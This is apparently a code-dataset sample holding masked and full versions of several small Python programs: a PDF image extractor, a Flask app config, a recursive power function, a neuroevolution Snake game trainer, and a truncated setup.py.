<mask token> def download_pdf(url, folder, name): r = requests.get(url, allow_redirects=True) file_path = join(folder, name + '.pdf') open(file_path, 'wb').write(r.content) return file_path def download_pdf_to_temp(url): new_file, filename = tempfile.mkstemp() r = requests.get(url, allow_redirects=True) os.write(new_file, r.content) return new_file, filename def save_pdf_image(file_path, dest_path): Path(dest_path).mkdir(parents=True, exist_ok=True) doc = fitz.open(file_path) i = 1 images_name = list() xrefs = sorted([xref[0] for xref in doc.getPageImageList(0) if not xref [0] in [10, 25, 26]]) maximum_digits = len(str(len(xrefs) * 3)) for xref in tqdm(xrefs): pix = fitz.Pixmap(doc, xref) index = f'{i:0{maximum_digits}}' img_name = 'image--{}.jpg'.format(index) img_path = join(dest_path, img_name) if not exists(img_path): if pix.n >= 5: pix = fitz.Pixmap(fitz.csRGB, pix) pix.writeImage(img_path) images_name.append(xref) i += 3 def pdf_2_images(url, dest_path): new_file, filename = download_pdf_to_temp(url) save_pdf_image(filename, dest_path) os.close(new_file)
import requests from os.path import join, exists import os import fitz from tqdm import tqdm from pathlib import Path import tempfile def download_pdf(url, folder, name): r = requests.get(url, allow_redirects=True) file_path = join(folder, name + '.pdf') open(file_path, 'wb').write(r.content) return file_path def download_pdf_to_temp(url): new_file, filename = tempfile.mkstemp() r = requests.get(url, allow_redirects=True) os.write(new_file, r.content) return new_file, filename def save_pdf_image(file_path, dest_path): Path(dest_path).mkdir(parents=True, exist_ok=True) doc = fitz.open(file_path) i = 1 images_name = list() xrefs = sorted([xref[0] for xref in doc.getPageImageList(0) if not xref [0] in [10, 25, 26]]) maximum_digits = len(str(len(xrefs) * 3)) for xref in tqdm(xrefs): pix = fitz.Pixmap(doc, xref) index = f'{i:0{maximum_digits}}' img_name = 'image--{}.jpg'.format(index) img_path = join(dest_path, img_name) if not exists(img_path): if pix.n >= 5: pix = fitz.Pixmap(fitz.csRGB, pix) pix.writeImage(img_path) images_name.append(xref) i += 3 def pdf_2_images(url, dest_path): new_file, filename = download_pdf_to_temp(url) save_pdf_image(filename, dest_path) os.close(new_file)
import requests from os.path import join, exists import os import fitz from tqdm import tqdm from pathlib import Path import tempfile def download_pdf(url, folder, name): r = requests.get(url, allow_redirects=True) file_path = join(folder, name + ".pdf") open(file_path, 'wb').write(r.content) return file_path def download_pdf_to_temp(url): new_file, filename = tempfile.mkstemp() r = requests.get(url, allow_redirects=True) os.write(new_file, r.content) return new_file, filename def save_pdf_image(file_path, dest_path): Path(dest_path).mkdir(parents=True, exist_ok=True) doc = fitz.open(file_path) i = 1 images_name = list() xrefs = sorted([xref[0] for xref in doc.getPageImageList(0) if not(xref[0] in [10, 25, 26])]) maximum_digits = len(str(len(xrefs)*3)) for xref in tqdm(xrefs): pix = fitz.Pixmap(doc, xref) index = f'{i:0{maximum_digits}}' img_name = "image--{}.jpg".format(index) img_path = join(dest_path, img_name) if not(exists(img_path)): if pix.n >= 5: pix = fitz.Pixmap(fitz.csRGB, pix) pix.writeImage(img_path) images_name.append(xref) i += 3 def pdf_2_images(url, dest_path): new_file, filename = download_pdf_to_temp(url) save_pdf_image(filename, dest_path) os.close(new_file)
[ 2, 3, 4, 5, 6 ]
9,967
f20e2227821c43de17c116d8c11233eda53ab631
<mask token> @app.route('/') def index(): return os.getenv('DB_HOST')
<mask token> load_dotenv(verbose=True) <mask token> if bool(os.getenv('IS_DEV')): logger = logging.getLogger('orator.connection.queries') logger.setLevel(logging.DEBUG) formatter = logging.Formatter('%(elapsed_time)sms %(query)s') handler = logging.StreamHandler() handler.setFormatter(formatter) logger.addHandler(handler) @app.route('/') def index(): return os.getenv('DB_HOST')
<mask token> load_dotenv(verbose=True) app = Flask(__name__) app.secret_key = os.getenv('SECRET_KEY') app.config['JSON_SORT_KEYS'] = False app.config['ORATOR_DATABASES'] = {'default': 'mysql', 'mysql': {'driver': 'mysql', 'host': os.getenv('DB_HOST'), 'database': os.getenv('DB_NAME'), 'user': os.getenv('DB_USER'), 'password': os.getenv('DB_PASSWORD'), 'prefix': '', 'log_queries': bool(os.getenv('LOG_QUERIES'))}} app.config['JWT_SECRET_KEY'] = os.getenv('JWT_SECRET_KEY') app.config['JWT_TOKEN_LOCATION'] = ['headers'] db = Orator(app) jwt = JWTManager(app) if bool(os.getenv('IS_DEV')): logger = logging.getLogger('orator.connection.queries') logger.setLevel(logging.DEBUG) formatter = logging.Formatter('%(elapsed_time)sms %(query)s') handler = logging.StreamHandler() handler.setFormatter(formatter) logger.addHandler(handler) @app.route('/') def index(): return os.getenv('DB_HOST')
import os import logging from flask import Flask from flask_orator import Orator from flask_jwt_extended import JWTManager from dotenv import load_dotenv load_dotenv(verbose=True) app = Flask(__name__) app.secret_key = os.getenv('SECRET_KEY') app.config['JSON_SORT_KEYS'] = False app.config['ORATOR_DATABASES'] = {'default': 'mysql', 'mysql': {'driver': 'mysql', 'host': os.getenv('DB_HOST'), 'database': os.getenv('DB_NAME'), 'user': os.getenv('DB_USER'), 'password': os.getenv('DB_PASSWORD'), 'prefix': '', 'log_queries': bool(os.getenv('LOG_QUERIES'))}} app.config['JWT_SECRET_KEY'] = os.getenv('JWT_SECRET_KEY') app.config['JWT_TOKEN_LOCATION'] = ['headers'] db = Orator(app) jwt = JWTManager(app) if bool(os.getenv('IS_DEV')): logger = logging.getLogger('orator.connection.queries') logger.setLevel(logging.DEBUG) formatter = logging.Formatter('%(elapsed_time)sms %(query)s') handler = logging.StreamHandler() handler.setFormatter(formatter) logger.addHandler(handler) @app.route('/') def index(): return os.getenv('DB_HOST')
import os import logging from flask import Flask from flask_orator import Orator from flask_jwt_extended import JWTManager from dotenv import load_dotenv load_dotenv(verbose=True) app = Flask(__name__) app.secret_key = os.getenv('SECRET_KEY') app.config['JSON_SORT_KEYS'] = False app.config['ORATOR_DATABASES'] = { 'default': 'mysql', 'mysql': { 'driver': 'mysql', 'host': os.getenv('DB_HOST'), 'database': os.getenv('DB_NAME'), 'user': os.getenv('DB_USER'), 'password': os.getenv('DB_PASSWORD'), 'prefix': '', 'log_queries': bool(os.getenv('LOG_QUERIES')) } } app.config['JWT_SECRET_KEY'] = os.getenv('JWT_SECRET_KEY') # Change this! app.config['JWT_TOKEN_LOCATION'] = ['headers'] # headers', 'cookies', 'query_string', 'json' db = Orator(app) jwt = JWTManager(app) if bool(os.getenv('IS_DEV')): logger = logging.getLogger('orator.connection.queries') logger.setLevel(logging.DEBUG) formatter = logging.Formatter( '%(elapsed_time)sms %(query)s' ) handler = logging.StreamHandler() handler.setFormatter(formatter) logger.addHandler(handler) @app.route('/') def index(): return os.getenv('DB_HOST')
[ 1, 2, 3, 4, 5 ]
9,968
beccae96b3b2c9dcd61bb538d07b85441a73662e
<mask token>
<mask token> def puissance(x, n): if n == 0: return 1 else: return x * puissance(x, n - 1) <mask token>
<mask token> def puissance(x, n): if n == 0: return 1 else: return x * puissance(x, n - 1) print(puissance(number, exposant))
number = int(input('entrez un entier:')) exposant = int(input('entrez un exposant:')) def puissance(x, n): if n == 0: return 1 else: return x * puissance(x, n - 1) print(puissance(number, exposant))
number = int(input("entrez un entier:")) exposant = int(input("entrez un exposant:")) def puissance(x, n): if n == 0: return 1 else: return x * puissance(x, n-1) print(puissance(number, exposant))
[ 0, 1, 2, 3, 4 ]
9,969
fc1b9ab1fb1ae71d70b3bf5c879a5f604ddef997
<mask token> def save_pool(): for i in range(total_models): current_pool[i].save_weights(save_location + str(i) + '.keras') print('Pool saved') def create_model(): """ Create Neural Network as a keras model """ model = Sequential() model.add(Dense(12, input_dim=8, activation='relu')) model.add(Dense(16, activation='relu')) model.add(Dense(4, activation='sigmoid')) model.compile(loss='mse', optimizer='adam') return model def predict_direction(snake, fruit, model_num): """ This function feeds information into the model, then determines which direction the snake should go """ direction = snake.check_head() fruit = snake.check_fruit(fruit) n_input = np.concatenate([direction, fruit]) n_input = np.atleast_2d(n_input) output = current_pool[model_num].predict(n_input, 1) return output.argmax() <mask token> class App: """ Main App for game """ def __init__(self): self._running = True self._display_surf = None self.size = self.width, self.height = WIDTH, HEIGHT self.clock = None self.snake = Snake() self.fruit = Fruit() self.pause = False self.moves = 0 self.frames = 11 def on_init(self): pygame.init() self._display_surf = pygame.display.set_mode(self.size, pygame. HWSURFACE | pygame.DOUBLEBUF) self._running = True self.clock = pygame.time.Clock() def on_event(self, event): if event.type == pygame.QUIT: self._running = False if event.type == pygame.KEYDOWN: if event.key == K_UP: if self.frames < 1000000000: self.frames *= 10 elif event.key == K_DOWN: if self.frames > 10: self.frames /= 10 elif event.key == K_p: self.pause = not self.pause elif event.key == K_q: self.on_cleanup() def on_loop(self, model_num): self.snake.alive = self.snake.collision(self.snake.position[0]) if self.snake.alive is False: return if self.snake.eat(self.fruit) is True: fitness[model_num] += 150 score[model_num] += 1 self.moves = 0 self.snake.update() if check_if_closer(self.snake, self.fruit): fitness[model_num] += 10 self.moves += 1 def on_render(self, model_num): self._display_surf.fill((0, 124, 0)) for i in range(0, int(GRID_D)): for j in range(0, int(GRID_D)): if (i + j) % 2 == 0: block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), ( BLOCK_W, BLOCK_H))) pygame.draw.rect(self._display_surf, (0, 200, 0), block) self.fruit.draw(self._display_surf) self.snake.draw(self._display_surf) pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' + str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' + str(self.frames)) pygame.display.update() def on_cleanup(self): pygame.quit() sys.exit() def on_execute(self, i): if self.on_init() == False: self._running = False while self._running: for event in pygame.event.get(): self.on_event(event) self.snake.direction = predict_direction(self.snake, self.fruit, i) if self.pause is False: self.on_loop(i) self.on_render(i) self.clock.tick(self.frames) if self.snake.alive == False or self.moves == MAX_MOVES: print(int(self.snake.score)) self.snake.reset() self.fruit.random_generate() self.moves = 0 print(fitness[i]) break print(int(self.snake.score)) <mask token>
<mask token> def save_pool(): for i in range(total_models): current_pool[i].save_weights(save_location + str(i) + '.keras') print('Pool saved') def create_model(): """ Create Neural Network as a keras model """ model = Sequential() model.add(Dense(12, input_dim=8, activation='relu')) model.add(Dense(16, activation='relu')) model.add(Dense(4, activation='sigmoid')) model.compile(loss='mse', optimizer='adam') return model def predict_direction(snake, fruit, model_num): """ This function feeds information into the model, then determines which direction the snake should go """ direction = snake.check_head() fruit = snake.check_fruit(fruit) n_input = np.concatenate([direction, fruit]) n_input = np.atleast_2d(n_input) output = current_pool[model_num].predict(n_input, 1) return output.argmax() <mask token> def model_mutate(weights): """ Mutate the weights of a model """ for i in range(len(weights)): for j in range(len(weights[i])): if random.uniform(0, 1) > 0.7: change = random.uniform(-0.5, 0.5) weights[i][j] += change return weights <mask token> def genetic_updates(): global current_pool global fitness global generation new_weights = [] total_fitness = sum(fitness) for i in range(total_models // 2): parent_1 = roulette_selection(total_fitness) parent_2 = roulette_selection(total_fitness) new = model_crossover(parent_1, parent_2) update_w1 = model_mutate(new[0]) update_w2 = model_mutate(new[1]) new_weights.append(update_w1) new_weights.append(update_w2) for i in range(len(new_weights)): current_pool[i].set_weights(new_weights[i]) generation += 1 return <mask token> class App: """ Main App for game """ def __init__(self): self._running = True self._display_surf = None self.size = self.width, self.height = WIDTH, HEIGHT self.clock = None self.snake = Snake() self.fruit = Fruit() self.pause = False self.moves = 0 self.frames = 11 def on_init(self): pygame.init() self._display_surf = pygame.display.set_mode(self.size, pygame. HWSURFACE | pygame.DOUBLEBUF) self._running = True self.clock = pygame.time.Clock() def on_event(self, event): if event.type == pygame.QUIT: self._running = False if event.type == pygame.KEYDOWN: if event.key == K_UP: if self.frames < 1000000000: self.frames *= 10 elif event.key == K_DOWN: if self.frames > 10: self.frames /= 10 elif event.key == K_p: self.pause = not self.pause elif event.key == K_q: self.on_cleanup() def on_loop(self, model_num): self.snake.alive = self.snake.collision(self.snake.position[0]) if self.snake.alive is False: return if self.snake.eat(self.fruit) is True: fitness[model_num] += 150 score[model_num] += 1 self.moves = 0 self.snake.update() if check_if_closer(self.snake, self.fruit): fitness[model_num] += 10 self.moves += 1 def on_render(self, model_num): self._display_surf.fill((0, 124, 0)) for i in range(0, int(GRID_D)): for j in range(0, int(GRID_D)): if (i + j) % 2 == 0: block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), ( BLOCK_W, BLOCK_H))) pygame.draw.rect(self._display_surf, (0, 200, 0), block) self.fruit.draw(self._display_surf) self.snake.draw(self._display_surf) pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' + str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' + str(self.frames)) pygame.display.update() def on_cleanup(self): pygame.quit() sys.exit() def on_execute(self, i): if self.on_init() == False: self._running = False while self._running: for event in pygame.event.get(): self.on_event(event) self.snake.direction = predict_direction(self.snake, self.fruit, i) if self.pause is False: self.on_loop(i) self.on_render(i) self.clock.tick(self.frames) if self.snake.alive == False or self.moves == MAX_MOVES: print(int(self.snake.score)) self.snake.reset() self.fruit.random_generate() self.moves = 0 print(fitness[i]) break print(int(self.snake.score)) <mask token>
<mask token> def save_pool(): for i in range(total_models): current_pool[i].save_weights(save_location + str(i) + '.keras') print('Pool saved') def create_model(): """ Create Neural Network as a keras model """ model = Sequential() model.add(Dense(12, input_dim=8, activation='relu')) model.add(Dense(16, activation='relu')) model.add(Dense(4, activation='sigmoid')) model.compile(loss='mse', optimizer='adam') return model def predict_direction(snake, fruit, model_num): """ This function feeds information into the model, then determines which direction the snake should go """ direction = snake.check_head() fruit = snake.check_fruit(fruit) n_input = np.concatenate([direction, fruit]) n_input = np.atleast_2d(n_input) output = current_pool[model_num].predict(n_input, 1) return output.argmax() <mask token> def model_mutate(weights): """ Mutate the weights of a model """ for i in range(len(weights)): for j in range(len(weights[i])): if random.uniform(0, 1) > 0.7: change = random.uniform(-0.5, 0.5) weights[i][j] += change return weights def roulette_selection(total_fitness): global fitness choice = random.randint(0, total_fitness) parent = 0 current = 0 for idx in range(total_models): current += fitness[idx] if current > choice: parent = idx break return parent def genetic_updates(): global current_pool global fitness global generation new_weights = [] total_fitness = sum(fitness) for i in range(total_models // 2): parent_1 = roulette_selection(total_fitness) parent_2 = roulette_selection(total_fitness) new = model_crossover(parent_1, parent_2) update_w1 = model_mutate(new[0]) update_w2 = model_mutate(new[1]) new_weights.append(update_w1) new_weights.append(update_w2) for i in range(len(new_weights)): current_pool[i].set_weights(new_weights[i]) generation += 1 return <mask token> class App: """ Main App for game """ def __init__(self): self._running = True self._display_surf = None self.size = self.width, self.height = WIDTH, HEIGHT self.clock = None self.snake = Snake() self.fruit = Fruit() self.pause = False self.moves = 0 self.frames = 11 def on_init(self): pygame.init() self._display_surf = pygame.display.set_mode(self.size, pygame. HWSURFACE | pygame.DOUBLEBUF) self._running = True self.clock = pygame.time.Clock() def on_event(self, event): if event.type == pygame.QUIT: self._running = False if event.type == pygame.KEYDOWN: if event.key == K_UP: if self.frames < 1000000000: self.frames *= 10 elif event.key == K_DOWN: if self.frames > 10: self.frames /= 10 elif event.key == K_p: self.pause = not self.pause elif event.key == K_q: self.on_cleanup() def on_loop(self, model_num): self.snake.alive = self.snake.collision(self.snake.position[0]) if self.snake.alive is False: return if self.snake.eat(self.fruit) is True: fitness[model_num] += 150 score[model_num] += 1 self.moves = 0 self.snake.update() if check_if_closer(self.snake, self.fruit): fitness[model_num] += 10 self.moves += 1 def on_render(self, model_num): self._display_surf.fill((0, 124, 0)) for i in range(0, int(GRID_D)): for j in range(0, int(GRID_D)): if (i + j) % 2 == 0: block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), ( BLOCK_W, BLOCK_H))) pygame.draw.rect(self._display_surf, (0, 200, 0), block) self.fruit.draw(self._display_surf) self.snake.draw(self._display_surf) pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' + str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' + str(self.frames)) pygame.display.update() def on_cleanup(self): pygame.quit() sys.exit() def on_execute(self, i): if self.on_init() == False: self._running = False while self._running: for event in pygame.event.get(): self.on_event(event) self.snake.direction = predict_direction(self.snake, self.fruit, i) if self.pause is False: self.on_loop(i) self.on_render(i) self.clock.tick(self.frames) if self.snake.alive == False or self.moves == MAX_MOVES: print(int(self.snake.score)) self.snake.reset() self.fruit.random_generate() self.moves = 0 print(fitness[i]) break print(int(self.snake.score)) <mask token>
<mask token> def save_pool(): for i in range(total_models): current_pool[i].save_weights(save_location + str(i) + '.keras') print('Pool saved') def create_model(): """ Create Neural Network as a keras model """ model = Sequential() model.add(Dense(12, input_dim=8, activation='relu')) model.add(Dense(16, activation='relu')) model.add(Dense(4, activation='sigmoid')) model.compile(loss='mse', optimizer='adam') return model def predict_direction(snake, fruit, model_num): """ This function feeds information into the model, then determines which direction the snake should go """ direction = snake.check_head() fruit = snake.check_fruit(fruit) n_input = np.concatenate([direction, fruit]) n_input = np.atleast_2d(n_input) output = current_pool[model_num].predict(n_input, 1) return output.argmax() def model_crossover(parent_1, parent_2): """ Produce offspring based on the best parents """ global current_pool weight1 = current_pool[parent_1].get_weights() weight2 = current_pool[parent_2].get_weights() new_weight1 = weight1 new_weight2 = weight2 gene = random.randint(0, len(new_weight1) - 1) new_weight1[gene] = weight2[gene] new_weight2[gene] = weight1[gene] return np.asarray([new_weight1, new_weight2]) def model_mutate(weights): """ Mutate the weights of a model """ for i in range(len(weights)): for j in range(len(weights[i])): if random.uniform(0, 1) > 0.7: change = random.uniform(-0.5, 0.5) weights[i][j] += change return weights def roulette_selection(total_fitness): global fitness choice = random.randint(0, total_fitness) parent = 0 current = 0 for idx in range(total_models): current += fitness[idx] if current > choice: parent = idx break return parent def genetic_updates(): global current_pool global fitness global generation new_weights = [] total_fitness = sum(fitness) for i in range(total_models // 2): parent_1 = roulette_selection(total_fitness) parent_2 = roulette_selection(total_fitness) new = model_crossover(parent_1, parent_2) update_w1 = model_mutate(new[0]) update_w2 = model_mutate(new[1]) new_weights.append(update_w1) new_weights.append(update_w2) for i in range(len(new_weights)): current_pool[i].set_weights(new_weights[i]) generation += 1 return def check_if_closer(snake, fruit): head = snake.position[0] prev = snake.position[1] head_dis = math.sqrt((fruit.pos[0] - head[0]) ** 2 + (fruit.pos[1] - head[1]) ** 2) prev_dis = math.sqrt((fruit.pos[0] - prev[0]) ** 2 + (fruit.pos[1] - prev[1]) ** 2) if head_dis > prev_dis: return False return True class App: """ Main App for game """ def __init__(self): self._running = True self._display_surf = None self.size = self.width, self.height = WIDTH, HEIGHT self.clock = None self.snake = Snake() self.fruit = Fruit() self.pause = False self.moves = 0 self.frames = 11 def on_init(self): pygame.init() self._display_surf = pygame.display.set_mode(self.size, pygame. HWSURFACE | pygame.DOUBLEBUF) self._running = True self.clock = pygame.time.Clock() def on_event(self, event): if event.type == pygame.QUIT: self._running = False if event.type == pygame.KEYDOWN: if event.key == K_UP: if self.frames < 1000000000: self.frames *= 10 elif event.key == K_DOWN: if self.frames > 10: self.frames /= 10 elif event.key == K_p: self.pause = not self.pause elif event.key == K_q: self.on_cleanup() def on_loop(self, model_num): self.snake.alive = self.snake.collision(self.snake.position[0]) if self.snake.alive is False: return if self.snake.eat(self.fruit) is True: fitness[model_num] += 150 score[model_num] += 1 self.moves = 0 self.snake.update() if check_if_closer(self.snake, self.fruit): fitness[model_num] += 10 self.moves += 1 def on_render(self, model_num): self._display_surf.fill((0, 124, 0)) for i in range(0, int(GRID_D)): for j in range(0, int(GRID_D)): if (i + j) % 2 == 0: block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), ( BLOCK_W, BLOCK_H))) pygame.draw.rect(self._display_surf, (0, 200, 0), block) self.fruit.draw(self._display_surf) self.snake.draw(self._display_surf) pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' + str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' + str(self.frames)) pygame.display.update() def on_cleanup(self): pygame.quit() sys.exit() def on_execute(self, i): if self.on_init() == False: self._running = False while self._running: for event in pygame.event.get(): self.on_event(event) self.snake.direction = predict_direction(self.snake, self.fruit, i) if self.pause is False: self.on_loop(i) self.on_render(i) self.clock.tick(self.frames) if self.snake.alive == False or self.moves == MAX_MOVES: print(int(self.snake.score)) self.snake.reset() self.fruit.random_generate() self.moves = 0 print(fitness[i]) break print(int(self.snake.score)) <mask token>
import random import sys import math import numpy as np import tensorflow as tf from tensorflow.keras.models import Sequential from tensorflow.keras.layers import Dense, Flatten, Conv2D, Activation from snake_game import Snake from snake_game import Fruit import pygame from pygame.locals import * # Neural Network globals total_models = 50 current_pool = [] fitness = [] generation = 264 # 1 if want to save pool, 0 if not save = 0 save_location = "Saved_Models/model" load = 1 load_location = "Saved_Models-better/model" # Game configurations WIDTH = 480 HEIGHT = 480 GRID_D = 12 BLOCK_W = WIDTH / GRID_D BLOCK_H = HEIGHT / GRID_D MAX_MOVES = 150 score = [] # Save models to file def save_pool(): for i in range(total_models): current_pool[i].save_weights(save_location + str(i) + ".keras") print("Pool saved") def create_model(): ''' Create Neural Network as a keras model ''' model = Sequential() model.add(Dense(12, input_dim = 8, activation = 'relu')) model.add(Dense(16, activation = 'relu')) model.add(Dense(4, activation = 'sigmoid')) model.compile(loss='mse', optimizer='adam') return model def predict_direction(snake, fruit, model_num): ''' This function feeds information into the model, then determines which direction the snake should go ''' direction = snake.check_head() fruit = snake.check_fruit(fruit) n_input = np.concatenate([direction, fruit]) n_input = np.atleast_2d(n_input) output = current_pool[model_num].predict(n_input, 1) return output.argmax() def model_crossover(parent_1, parent_2): ''' Produce offspring based on the best parents ''' global current_pool # Weight of parents weight1 = current_pool[parent_1].get_weights() weight2 = current_pool[parent_2].get_weights() new_weight1 = weight1 new_weight2 = weight2 # Gene gene = random.randint(0, len(new_weight1) - 1) new_weight1[gene] = weight2[gene] new_weight2[gene] = weight1[gene] return np.asarray([new_weight1, new_weight2]) def model_mutate(weights): ''' Mutate the weights of a model ''' for i in range(len(weights)): for j in range(len(weights[i])): if (random.uniform(0, 1) > .7): change = random.uniform(-.5,.5) weights[i][j] += change return weights def roulette_selection(total_fitness): global fitness choice = random.randint(0, total_fitness) parent = 0 current = 0 for idx in range(total_models): current += fitness[idx] if current > choice: parent = idx break return parent def genetic_updates(): global current_pool global fitness global generation new_weights = [] # Calculate total fitness total_fitness = sum(fitness) # Breeding time for i in range(total_models // 2): # Pick two parents parent_1 = roulette_selection(total_fitness) parent_2 = roulette_selection(total_fitness) # Model crossover between two parents new = model_crossover(parent_1, parent_2) # Mutate models update_w1 = model_mutate(new[0]) update_w2 = model_mutate(new[1]) new_weights.append(update_w1) new_weights.append(update_w2) # Set new weights, reset fitness for i in range(len(new_weights)): current_pool[i].set_weights(new_weights[i]) generation += 1 return def check_if_closer(snake, fruit): head = snake.position[0] prev = snake.position[1] # Calculate the heads distance from the fruit, and the previous spot # to see if it got closer head_dis = math.sqrt((fruit.pos[0] - head[0]) ** 2 + (fruit.pos[1] - head[1]) ** 2) prev_dis = math.sqrt((fruit.pos[0] - prev[0]) ** 2 + (fruit.pos[1] - prev[1]) ** 2) if head_dis > prev_dis: return False return True class App: ''' Main App for game ''' def __init__(self): self._running = True self._display_surf = None self.size = self.width, self.height = WIDTH, HEIGHT self.clock = None self.snake = Snake() self.fruit = Fruit() self.pause = False self.moves = 0 self.frames = 11 def on_init(self): pygame.init() self._display_surf = pygame.display.set_mode(self.size, pygame.HWSURFACE | pygame.DOUBLEBUF) self._running = True self.clock = pygame.time.Clock() def on_event(self, event): # Quit game if event.type == pygame.QUIT: self._running = False # Change direction of snake if event.type == pygame.KEYDOWN: if event.key == K_UP: # Increase speed of game if self.frames < 1000000000: self.frames *= 10 elif event.key == K_DOWN: # Decrease speed of game if self.frames > 10: self.frames /= 10 elif event.key == K_p: self.pause = not self.pause elif event.key == K_q: self.on_cleanup() def on_loop(self, model_num): self.snake.alive = self.snake.collision(self.snake.position[0]) if self.snake.alive is False: return if self.snake.eat(self.fruit) is True: # Adjust fitness, reset move counter fitness[model_num] += 150 score[model_num] += 1 self.moves = 0 self.snake.update() if check_if_closer(self.snake, self.fruit): # Reward snake for moving towards fruit fitness[model_num] += 10 self.moves += 1 def on_render(self, model_num): self._display_surf.fill((0,124,0)) # Fill every other space to create a multi color grid for i in range(0, int(GRID_D)): for j in range(0, int(GRID_D)): if (i + j) % 2 == 0: block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (BLOCK_W, BLOCK_H))) pygame.draw.rect(self._display_surf, (0, 200, 0), block) # Draw sanke and fruit self.fruit.draw(self._display_surf) self.snake.draw(self._display_surf) pygame.display.set_caption("Gen: " + str(generation) + " Model: " + str(model_num) + " Score: " + str(self.snake.score) + " Tick " + str(self.frames)) pygame.display.update() def on_cleanup(self): pygame.quit() sys.exit() def on_execute(self, i): if self.on_init() == False: self._running = False while (self._running): for event in pygame.event.get(): self.on_event(event) self.snake.direction = predict_direction(self.snake, self.fruit, i) # Checks if game is paused if self.pause is False: self.on_loop(i) self.on_render(i) self.clock.tick(self.frames) # Reset when snake dies if self.snake.alive == False or self.moves == MAX_MOVES: print(int(self.snake.score)) self.snake.reset() self.fruit.random_generate() self.moves = 0 # Print fitness print(fitness[i]) break # Clean up and print score # self.on_cleanup() print(int(self.snake.score)) if __name__ == "__main__" : # Init models for i in range(total_models): model = create_model() current_pool.append(model) fitness.append(-100) score.append(0) if load == 1: for i in range(total_models): current_pool[i].load_weights(load_location + str(i) + ".keras") theApp = App() while True: # Reset fitness scores and player scores for i in range(total_models): fitness[i] = 0 score[i] = 0 # Play game for each model for i in range(total_models): theApp.on_execute(i) # Print high score to screen print("Higest score: " + str(max(score)) + " Model: " + str(score.index(max(score))) + " Gen: " + str(generation)) # Write these values to a file # fi = open("results.txt", "a+") # fi.write("Higest score: " + str(max(score)) + " Model: " + str(score.index(max(score))) + " Gen: " + str(generation) + "\r\n") # fi.close() # Save pool if save == 1: save_pool() genetic_updates()
[ 12, 14, 15, 17, 21 ]
9,970
e0f7837731520ad76ca91d78c20327d1d9bb6d4f
<mask token>
<mask token> with open(os_join(here, 'README.md')) as f: README = f.read() setup(name='pyzohar', version='0.1.11', author='zoharslong', author_email= '[email protected]', description= 'a private package on data pre-processing.', long_description=README, url='https://www.xzzsmeadow.com/', license='MIT', classifiers=[ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'Topic :: Software Development :: Build Tools', 'License :: OSI Approved :: MIT License', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: 3.8', 'Programming Language :: Python :: 3.9'], packages=find_packages(), keywords='data pre-processing', python_requires='>=3', install_requires =['numpy>=1.18.1', 'pandas>=1.0.1', 'pymongo>=3.9.0', 'pymysql>=0.9.3', 'fake-useragent>=0.1.11', 'requests>=2.22.0', 'openpyxl>=3.0.3', 'urllib3>=1.25.8'], package_data={'pyzohar': ['samples/*.*']}, include_package_data=True)
<mask token> here = os_abspath(os_dirname(__file__)) with open(os_join(here, 'README.md')) as f: README = f.read() setup(name='pyzohar', version='0.1.11', author='zoharslong', author_email= '[email protected]', description= 'a private package on data pre-processing.', long_description=README, url='https://www.xzzsmeadow.com/', license='MIT', classifiers=[ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'Topic :: Software Development :: Build Tools', 'License :: OSI Approved :: MIT License', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: 3.8', 'Programming Language :: Python :: 3.9'], packages=find_packages(), keywords='data pre-processing', python_requires='>=3', install_requires =['numpy>=1.18.1', 'pandas>=1.0.1', 'pymongo>=3.9.0', 'pymysql>=0.9.3', 'fake-useragent>=0.1.11', 'requests>=2.22.0', 'openpyxl>=3.0.3', 'urllib3>=1.25.8'], package_data={'pyzohar': ['samples/*.*']}, include_package_data=True)
<mask token> from setuptools import setup, find_packages from os.path import join as os_join, abspath as os_abspath, dirname as os_dirname here = os_abspath(os_dirname(__file__)) with open(os_join(here, 'README.md')) as f: README = f.read() setup(name='pyzohar', version='0.1.11', author='zoharslong', author_email= '[email protected]', description= 'a private package on data pre-processing.', long_description=README, url='https://www.xzzsmeadow.com/', license='MIT', classifiers=[ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'Topic :: Software Development :: Build Tools', 'License :: OSI Approved :: MIT License', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: 3.8', 'Programming Language :: Python :: 3.9'], packages=find_packages(), keywords='data pre-processing', python_requires='>=3', install_requires =['numpy>=1.18.1', 'pandas>=1.0.1', 'pymongo>=3.9.0', 'pymysql>=0.9.3', 'fake-useragent>=0.1.11', 'requests>=2.22.0', 'openpyxl>=3.0.3', 'urllib3>=1.25.8'], package_data={'pyzohar': ['samples/*.*']}, include_package_data=True)
#!/usr/bin/env python # -*- coding: utf-8 -*- """ Created on 2021.03.18 setup for package. @author: zoharslong """ from setuptools import setup, find_packages from os.path import join as os_join, abspath as os_abspath, dirname as os_dirname here = os_abspath(os_dirname(__file__)) with open(os_join(here, 'README.md')) as f: README = f.read() setup( name="pyzohar", version="0.1.11", author="zoharslong", author_email="[email protected]", description="a private package on data pre-processing.", long_description=README, url="https://www.xzzsmeadow.com/", license="MIT", classifiers=[ 'Development Status :: 3 - Alpha', # {3:Alpha, 4:Beta, 5:Production/Stable} 'Intended Audience :: Developers', 'Topic :: Software Development :: Build Tools', 'License :: OSI Approved :: MIT License', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: 3.8', 'Programming Language :: Python :: 3.9', ], packages=find_packages(), keywords='data pre-processing', python_requires='>=3', install_requires=[ 